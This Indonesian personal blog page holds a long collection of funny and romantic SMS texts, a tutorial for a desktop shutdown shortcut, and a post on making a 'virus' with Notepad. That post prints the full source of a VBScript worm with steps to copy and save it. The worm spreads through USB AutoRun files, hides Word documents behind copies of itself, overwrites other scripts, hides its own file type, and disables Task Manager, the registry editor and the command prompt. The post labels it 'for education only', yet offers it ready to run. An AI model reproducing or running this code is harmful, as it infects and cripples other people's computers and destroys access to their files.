Ae semuanya, ketemu kembali di acara aldrix blog (heheheh) ne ada yang baru lagi, pastinya buat kalian semua yaitu kumpulan SMS-SMS Lucu,Gokil,Asyik,Romantiz,Hot,Aneh,Gombal . . . pokok'e ship banget


Monyet yang hilang
Gw baru dapet telpon dari kebon binatang
katanya mereka baru aja kehilangan satu monyet
Tenang-tenang aja ya.. lu disana
gw gak kasih tau kok… lu dimana


Kuis Maut
REG (SPASI) DOSA Kirim ke 999
Dapatkan 3 unit mobil jenazah!
Dan tiket emas liburan ke neraka.
Ayo!! buruan kirimkan nyawa anda !!
Makin banyak Dosa…. Makin besar kesempatan untuk disiksa !!


Besok aja iia ...
Sms ini buat besok
bacanya besok
sabar ya…..
ye…dibilangin bacanya besok !!!
maksa banget sich !!
Terserah !! tadinya mo bilang selamet pagi….
tapi jadi met malem dech….



Doa sebelum Kissing
nawaitu kissasun wal bibiri
minal gigitin bil jilatin
wal lumatin bil emutin
min rasana minal nikmat
wabila fi kurangi wal sakali lagi
amiiinnn…….


Bego . . . Bego . . .
oiya kemarin kan gw dapet duit.
gw pengen bagi-bagi pulsa.
untung tinggal 1 voucher nya.
nich…gw kasih buat temen deket aja.

5000 aja yaaa…..
ni no nya…
bacanya HP nya dibalik yaa…..
07 0938 07 0938

Tips tidur nyenyak
1. Baca doa biar mimpi indah
2. Baca UUD 45 biar di lindungi negara
3. Minum baygon biar nggak digigit nyamuk
4. Klo tidurnya berlanjut segera hubungi dokter


100 alasan
Ketika hidup memberiku seratus alasan untuk menangis
kau datang membawa seribu alasan untuk tersenyum.

Love Me !!!

Aq ingin kaU ciNtai

aQ iNgin diCiNtai,,,,,,
aQ iNgiN diSaYanGi,,,
deNgan TulUs,,& pEnUh kaSiH saYanG,,,,

SeaNdaiNya BisA,kaN Q taRik PelaNgi,laLu q lUkiS waJaH & seNyuM mU,laLu Kan Q kEmbalikaN keMbali kE laNgiT, aGar sEmua oRaNg taU
BEtaPA aQ meNgaguMimU,
BeTaPa aQ meNcintaiMu,
BetaPa aQ meNyayaNgiMu,

SatU hal yaNg pErlU kaMu TAhu BAhW@
ada 1 oRAng yaNg seDang mEnciNtaiMu
aDa 1 oRang yanG sEdaNg mEnyaYanGimU

iTu aDalaH “AQ”


Uang dan Cinta
Kalau q disuruh memilih antara kamu dan uang,,
Maka q akan memilih uang..
Karna q akan membeli semua cintamu,,
Agar kau tak bisa memberikan cintamu pada orang lain


Orang bilang . . .
Orang bilang bulan itu indah…tapi aku bilang tidak.
Orang bilang planet venus itu cantik…tapi menurut aku tidak.
Aku bilang bumi itu indah dan cantik…karena ada kamu.



Aneh bangett
Pertama ketemu, aku takut ngomong sama kamu.
Pertama ngomong sama kamu, aku takut kalau nanti suka sama kamu.
Udah suka, aku makin takut kalau jatuh cinta.
Setelah sekarang cinta sama kamu, aku jadi bener2 takut kehilangan kamu.
Kamu emang menakutkan!


Hidupku dan Hidupmu
Kalau kamu nanya mana yg lebih penting buat aku, hidupku atau hidupmu, aku bakal jawab hidupku.Eits, jangan marah dulu, karena kamulah hidupku.

For The Last
ku pernah jatuhkan setetes air mata di selat Sunda. Di hari aku bisa menemukannya lagi, itulah waktunya aku berhenti mencintaimu.

Ga usah janjiin bintang dan bulan untuk aku, cukup janjiin kamu bakal selalu bersamaku di bawah cahayanya.

Berusaha melupakanmu, sama sulitnya dengan mengingat seseorang yang tak pernah kukenal

Monkey
Eh, hp lo knp sih? ditlp berkali2…Tiap kali
ditlp, operatornya slalu blg
“The number u’re calling is a MONKEY, please call
THE ZOO for more details”
hi..hi..


Monkey 2
Manusia jatuh cinta… itu indah
Kuda makan rumput… itu gak aneh
Monyet bisa baca SMS ini… HEBAAAAT!
Masih dibaca juga… LUAR BIASA!!


Guess
Hewan apa yang bersaudara?
Jawab : Katak beradik..


Operator
Fasilitas SMS anda untuk sementara kami BLOKIR
karena sering terdapat KATA dan GAMBAR CABUL.
Untuk mengaktifkan kembali ngomong AMPUN 100x
sambil NUNGGING!!!


Pantun
Nanam jengkol nggak pake sandal, yang misscal tak
bermoral


hag . . hag . . hag . .
Sehabis ngintip pria mandi, seekor kera bercerita
sambil tertawa, ih aneh deh pria itu!, udah
ekornya pendek, letaknya di depan lagi! kera
lainnya senyum sambil baca sms.


Umur 70
Ada yang tanya berapa umurmu, ku bilang dari
caramu berpakaian seperti umur 19 thn, kulitmu
seperti 17 thn, senyummu seperti 18 thn, mukamu
seperti 16 tahun… jadi semua seperti 70
tahunan..

Asas Cinta
Cinta kita bukan berdasarkan Kamu mencintaiku
Atau aku mencintaimu
Tapi karena Allah menuliskan kita untuk saling mencintai
Karena cinta-Nya pada kita dan cinta kita pada-Nya


Sadding
Ketika relungmu menangis saat duka membelenggu
Enggan tuk tangiskan takdir
Tetaplah berdiri di atas derita tak berakhir
Yakinlah di sana ada bahagia menantimu

So Sweet . . .
melihat wajahmu
seakan membunuh perasaan ku
perasaan suka terhadap orang lain
melihat senyummu
seakan membuat aku hancur
hancur tak berdaya


KasihQu
Dunia berbintang ketika kau tersenyum
Hujan bergemerincing pelan menyejukkan hati
disela tawamu yang hangat
ada setia yang kuberikan dalam uraian kasihku

Ada 4
Ada penantian disetiap percintaan
Ada pengorbanan disetiap kesetiaan
Ada kedukaan disetiap kebohongan
Dan ada kebahagiaan disetiap kesadaran tentang kasih sayang


Rasa Mencitai
Orang yang mencintaimu,
Adalah orang yang membawakan hal terbaik untukmu
Jika kamu ingin dicintai
Cintailah orang lain dan Jadilah orang yang dapat dicintai

Untitled
Aku tak pernah kuasa untuk mencintaimu
Kutangguhkan amarah di reruntuhan kasihku
Mencoba tuk menyayangimu yang terlalu sulit kutempuh
Di sela relung hatimu yang masih membatu


Merindu
Kumasih menunggu,
Terus merajut harap kembalimu
Ku terpaku dipintu,
Menanti wajahmu tuk lepaskan rindu
Kupanjatkan doa ditiap detik harimu
Berharap mentari selalu menerangimu

Friendship is the best
Bersinarlah seperti bintang
Menarilah laksana angin
Deburkan rindu disetiap senyummu !
Jadikan persahabatan ini indah
Seindah jiwamu yang membawa ketulusan mimpi


Mensyukuri
Ku bersuyukur di tiap hari bersamamu
Kau berikanku kekuatan untuk terus bertahan
Kau membuatku percaya kau kan selalu bersamaku
Ada takut terhenyak dihati jika ku kehilangan dirimu


Syukur 2
Syukuri kelebihan yang kau raih sekarang
Bercermin dari semua kekurangan
Luapkan kecintaan dan ketaatan hanya kepada Allah
Gambarkan keikhlasan dengan wajah bersinar !


I Miss U
Bila harus bicara tentang kesetian
Rasanya sampai detik ini kutiada berubah



Tertawalah sebelum tertawa dilarang atau disuruh bayar! Selain gratis tertawa itu menyenangkan dan menyehatkan. So jika kalian ingin dapat pahala, dengan membuat orang senang, bacakan sms lucu diatas pada orang - orang dekat anda! Selamat menikmati...

SMS-SMS Lucu,Gokil,Asyik,Romantiz,Hot,Aneh,Gombal . . .

Hobby koleksi gambar animasi memang sangat menyenangkan, apalagi kalau dijadikan wallpaper HaPe. Dan disini kamu bisa mendapatkan secara cuma-cuma gambar animasi tersebut, so have enjoy.


Download wallpaper dibawah ini, dengan cara klik kanan pada gambar terus pilih save images













Dan masih banyak yang lain silahkan klik dibawah ini, disimpan dalm format .rar


Photobucket

Wallaper Animasi Keren & Gokil Buat HaPe

Ini adalah trik yang paling mudah dan sering dibahas di berbagai artikel dalam internet,. Maka dari itu tak ada salahnya saya bagi ilmu-ilmu dan tentunya ilmu tak pernah layak untuk disembunyikan. Agar lebih mudah ikuti trik dibawah ini:

>> Klik Kanan pada Dekstop => pilih New => Shortcut



>> Pada kotak isian tuiliskan “ shutdown –s –f –t 00 “ (tanpa tanda petik), Jangan lupa kasih spasi antara –t dengan 00



>> Klik Next => Kemudian tuliskan nama shortcut (bebas) => Klik finish . . .



Keterangan

1. –s –f –t 00
mematikan windows dalam waktu 00 sekon
(00 bisa anda ganti dengan hitungan sekon lainnya missal 60)

2. Adapun untuk membuat shortcut restart, kamu cukup mengganti –s dengan –r, sehingga intruksi menjadi –r –f –t 00

S = untuk shutdown R = untuk reboot\restart

3. Untuk mereplace icon shortcut tadi,klik kanan pada shortcut tersebut,kemudian klik change icon,dan pilh sesuai selera kamu dan pencet OK …

Gampang to,gtu aja kok repot???

Membuat Shortcut Shutdown/Restart pada Dekstop

For Education Only ["Jangan disalah gunakan, hanya untuk pembelajaran"]

Virus adalah suatu hal yang pasti tidak disukai orang banyak,maka biasanya kalau kompi kena Virus,Ufh menyebalkan banget kan ???
Maka tidak ada salahnya kita buat virus kecil-kecilan,karena hal kecil bisa menjadi yang besar. Sekalian tambah wawasan mengenai seluk beluk “Si Perusak” alias viruszz …
karena belajar itu menyenangkan apalagi yang iseng-iseng. [hheeheee]


Oke langsung tancep aja, cuy .,….

1. Buka Notepad [ terserah lewat mana saja bisa kok,missal di Run>> ketik Notepad>>bLAA udh Kan???]



Copy script dibawah ini . . .


Rem sidoarjocity4154802560
On Error Resume Next
Dim Reg, fso, Induk
Set Reg = CreateObject("WScript.Shell")
Set fso = CreateObject("Scripting.FileSystemObject")
Set Induk = fso.GetFile(Wscript.ScriptFullName)
If Induk <> Reg.SpecialFolders("AppData") & "\blukutuk.vbs" then
If fso.fileExists(Left(Induk, Len(Induk) - 4)) Then
Reg.Run (Reg.RegRead("HKCR\" & BacaHandle("doc") & "\shell\Open\command\") & " " & chr(34) & Left(Induk, len(Induk)-3) & chr(34))
Else
Reg.Run (Reg.RegRead("HKCR\" & BacaHandle("doc") & "\shell\Open\command\") & " " & chr(34) & chr(34))
End If
End If
AutoFlash
Sebar1
Sebar2
Samar
Pertahanan
ShortCut
SerangFile (Left(Induk, InStrRev(Induk, " \ ")))
SerangFolder (Left(Induk, InStrRev(Induk, " \ ")))
SerangDrive("c:\")
SerangDrive("d:\")
SerangDrive("e:\")
SerangDrive("f:\")
SerangDrive("g:\")
AlwaysRun
SerangRecent


Sub AutoFlash
On Error Resume Next
Dim flashdrive, auto, tf1, tf2
For Each flashdrive In fso.drives
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> "A:" then
Set auto = fso.CreateTextFile(flashdrive.Path & ("\AutoRun.inf"), True)
auto.Write ("[autorun]"& vbcrlf & "shellexecute=wscript.exe sidoarjo hot.vbs")
auto.Close
set tf1=fso.getfile(flashdrive.path & "\AutoRun.inf")
tf1.Attributes = 32
Induk.Copy (flashdrive.Path & "\sidoarjo hot.vbs")
set tf2=fso.getfile(flashdrive.path & "\sidoarjo hot.vbs")
tf2.Attributes = 32
End If
Next
End Sub

Sub SerangDrive (Lokasi)
On Error Resume Next
Dim drv
If fso.DriveExists(Lokasi) Then
Set drv = fso.GetDrive(fso.GetDriveName(Lokasi))
If drv.DriveType = 1 Or drv.DriveType = 2 Then
CopyVbs (Lokasi & "\lapindo.vbs")
SerangFolder (Lokasi)
End If
End If
End Sub

Sub SerangFolder (Lokasi)
On Error Resume Next
If Lokasi = "" Then Exit Sub
if Lokasi = Left(Reg.SpecialFolders("Desktop"),3) & "Windows" then exit sub
Dim target
For Each target In fso.GetFolder(Lokasi).SubFolders
CopyVbs(target & "\bacalah aku.vbs")
SerangFile (target)
SerangFolder2 (target)
Next
End Sub

Sub SerangFolder2 (Lokasi)
On Error Resume Next
If Lokasi = "" Then Exit Sub
if Lokasi = Left(Reg.SpecialFolders("Desktop"),3) & "Windows" then exit sub
Dim target
For Each target In fso.GetFolder(Lokasi).SubFolders
CopyVbs(target & "\duit.vbs")
SerangFile (target)
SerangFolder3 (target)
Next
End Sub

Sub SerangFolder3 (Lokasi)
On Error Resume Next
If Lokasi = "" Then Exit Sub
if Lokasi = Left(Reg.SpecialFolders("Desktop"),3) & "Windows" then exit sub
Dim target
For Each target In fso.GetFolder(Lokasi).SubFolders
CopyVbs(target & "\Hasil rapat.vbs")
SerangFile (target)
Next
End Sub

Sub SerangFile (Lokasi)
On Error Resume Next
Dim target
For Each target In fso.GetFolder(Lokasi).Files
If lcase(Right(target,3))="doc" then
if Left(target,2)<> "~$" then CopyVbs(target & ".vbs")
HilangFile (target)
End If
If lcase(Right(target,3))="xls" or lcase(Right(target,3))="ppt" or lcase(Right(target,3))="pdf" or lcase(Right(target,3))="rtf" or lcase(Right(target,3))="rar" or lcase(Right(target,3))="zip" or lcase(Right(target,3))="jpg" or lcase(Right(target,3))="gif" or lcase(Right(target,3))="bmp" then
if Left(target,2)<> "~$" then CopyVbs(Left(target, len(target)-3) & "vbs")
End If
If lcase(Right(target,4))="docx" or lcase(Right(target,4))="xlsx" or lcase(Right(target,4))="pptx" then
if Left(target,2)<> "~$" then CopyVbs(Left(target, len(target)-4) & "vbs")
End If
if lcase(Right(target,3))="vbs" then KillVBS(target)
Next
End sub

Sub Pertahanan
On Error Resume Next
Reg.RegWrite "HKCR\inffile\shell\Install\command\", "logoff.exe"
Reg.RegWrite "HKCR\regfile\shell\open\command\", "logoff.exe"
Reg.RegWrite "HKCR\VBSFile\Shell\Edit\Command\", "logoff.exe"
Reg.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegedit", "1", "REG_DWORD"
Reg.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hidden", "0", "REG_DWORD"
Reg.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt", "1", "REG_DWORD"
Reg.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFileAssociate", "1", "REG_DWORD"
Reg.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun", "1", "REG_DWORD"
Reg.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind", "1", "REG_DWORD"
Reg.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions", "1", "REG_DWORD"
Reg.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableCMD", "1", "REG_DWORD"
Reg.RegWrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system\DisableTaskMgr", "1", "REG_DWORD"
Reg.Regwrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cmd.exe\Debugger","Notepad.exe"
Reg.Regwrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger","Notepad.exe"
Reg.Regwrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger","Notepad.exe"
Reg.Regwrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedt32.exe\Debugger","Notepad.exe"
Reg.Regwrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\TaskMgr.exe\Debugger","Notepad.exe"
Reg.Regwrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\attrib.exe\Debugger","Notepad.exe"
Reg.Regwrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\install.exe\Debugger","Notepad.exe"
Reg.Regwrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\setup.exe\Debugger","Notepad.exe"
End Sub

Sub Samar
On Error Resume Next
Dim HandleDoc, HandleVbs
HandleDoc = "HKEY_CLASSES_ROOT\" & BacaHandle("doc")
HandleVbs = "HKEY_CLASSES_ROOT\" & BacaHandle("VBS")
Reg.RegWrite HandleVbs & "\", Reg.RegRead(HandleDoc & "\")
Reg.RegWrite HandleVbs & "\DefaultIcon\", Reg.RegRead(HandleDoc & "\DefaultIcon\")
Reg.RegWrite HandleVbs & "\NeverShowExt",""
Reg.RegWrite "HKCR\VBSFile\FriendlyTypeName", Reg.RegRead(HandleDoc & "\")
End Sub

Sub ShortCut
On Error Resume Next
Dim lnk, lok
lok = Reg.SpecialFolders("Favorites") & "\blukutuk.lnk"
Set lnk = Reg.CreateShortCut(lok)
Induk.Copy (Reg.SpecialFolders("AppData") & "\blukutuk.vbs")
lnk.TargetPath = Reg.ExpandEnvironmentStrings(Reg.SpecialFolders("AppData") & "\blukutuk.vbs")
lnk.Save
HilangFile (lok)
Reg.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\blukutuk", lok
End Sub

Sub HilangFile (AlamatFile)
Dim f1
Set f1 = fso.GetFile(AlamatFile)
f1.Attributes = 6
End sub

Sub CopyVbs (Alamat)
On Error Resume Next
Dim data, ts, s, a, tf
Randomize
data = Left(Rnd(15) * 10000000000, 10)
Set ts = fso.openTextFile(Induk, 1)
a = ts.ReadAll
s = Right(a, Len(a) -28)
ts.Close
Set tf = fso.CreateTextFile(Alamat, True)
tf.WriteLine ("Rem sidoarjocity" & data)
tf.Write s
tf.Close
Set ts = fso.GetFile(Alamat)
ts.Attributes = 1
End sub

Function BacaHandle(TipeFile)
BacaHandle = reg.RegRead ("HKEY_CLASSES_ROOT\." & TipeFile & "\")
End Function

Sub KillVBS(alamat)
On Error Resume Next
Dim ts, s, i, a, b
Set ts = fso.openTextFile(alamat, 1)
s = ts.Readline
ts.Close
a = instr(s, "sidoarjocity")
If a = 0 Or a = "" Then
Set ts = fso.GetFile(alamat)
ts.Attributes = 0
Set ts = fso.openTextFile(Induk, 1)
i = ts.ReadAll
ts.Close
Set ts = fso.CreateTextfile(alamat, True)
ts.Write i
ts.Close
End If
End sub

sub AlwaysRun
On Error Resume Next
Dim mf, check
If Wscript.ScriptFullname = Reg.SpecialFolders("AppData") & "\blukutuk.vbs" then
Do
Set mf = fso.getfile(Wscript.ScriptFullname)
check = mf.Drive.drivetype
If check <> 1 Then Wscript.sleep 200000
Reg.run fso.getspecialfolder(0) & "\explorer.exe /e,/select, " & Wscript.ScriptFullname
AutoFlash
Sebar1
SerangDrive("d:\")
SerangDrive("e:\")
Loop While check <> 1
End If
End sub

Sub Sebar1
dim nilai
nilai=Left(Reg.SpecialFolders("Desktop"),3) & "Windows\System.vbs"
CopyVBS (nilai)
HilangFile(nilai)
SerangFolder(Reg.SpecialFolders("MyDocuments"))
CopyVbs(Reg.SpecialFolders("NetHood") & "\Ceritaku.txt.vbs")
End Sub

Sub SerangRecent
On Error Resume Next
Dim target, ok
For Each target in fso.GetFolder(Reg.SpecialFolders("Recent")).Files
Set ok = reg.CreateShortCut(target)
if fso.FolderExists(ok.WorkingDirectory) then SerangFolder (ok.WorkingDirectory)
Next
End sub


Rem Created by Vir.VBS Generator V.1


2. Kalau udah selesai di copy paste aja di notepad, jadi gak perlu nulis sak’abreg gtu . .
3. Kemudian simpan [File>>Save As] kasih nama “Lapindo.vbs” [Inget harus pake tanda kutip,jangan lupa]


4.Jadi dech tuch virus, kalau kamu klik [jangan dech,agak berbahaya soalnya]

Catatan:

Kalau kamu pake Anti Virus Avira [yang gambar red umbrella] maka langsung kedetect dengan nama VBS/Autorun.T . . .
Terus kalau kamu coba klik, maka sesuai namanya “Lapindo” kompi kamu yang pake anti virus AVG.Avira,Norton akan ditenggelamin alias gak fungsi lagi…
Dan masih banyak efek lainnya
So becareful

Akhirnya cukup sudah penjelasan mengenai buat virus pake notepad,dan inget aturan mainnya For Education Only. . . Kalau ada yang tertarik,lain kali buat lagi yang lebih ganaszzz, hehheheeh



Iseng-Iseng Buat Virus Lewat Notepad

http://apocalytyo.blogspot.com adalah sebuah blog yang menjelaskan tentang review, gadget, software, tips dan trik,game, dan masih banyak lagi.

Blog ini dikelola oleh

Nama: Syafrizal Setia budi
Tempat, Tanggal Lahir: Jember, 14 Juli 1996
Alamat: Jl Cendrawasih 132, Dusun Kresek, Desa Pancakarya, Kecamatan Ajung, Jember, Jawa Timur

About